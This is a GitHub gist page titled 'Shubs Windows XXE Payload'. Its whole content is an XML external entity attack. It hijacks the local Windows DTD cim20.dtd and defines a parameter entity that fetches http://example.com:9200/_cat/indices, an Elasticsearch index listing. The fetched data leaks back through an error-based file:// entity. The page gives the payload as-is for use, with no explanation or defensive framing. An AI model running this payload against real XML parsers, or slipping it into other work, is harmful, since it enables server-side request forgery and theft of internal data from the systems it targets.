Forked from Rhynorater/gist:d0d19f757221a916a22476c3a5c6aba2
Created
August 7, 2023 01:18
-
-
Save srand2/0dd775e0f6c2e162d2c3dc9eef50a610 to your computer and use it in GitHub Desktop.
Shubs Windows XXE Payload
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE doc [ | |
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"> | |
<!ENTITY % SuperClass '> | |
<!ENTITY % file SYSTEM "http://example.com:9200/_cat/indices"> | |
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://test/#%file;'>"> | |
%eval; | |
%error; | |
<!ENTITY test "test"' | |
> | |
%local_dtd; | |
]><xxx>cacat</xxx> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment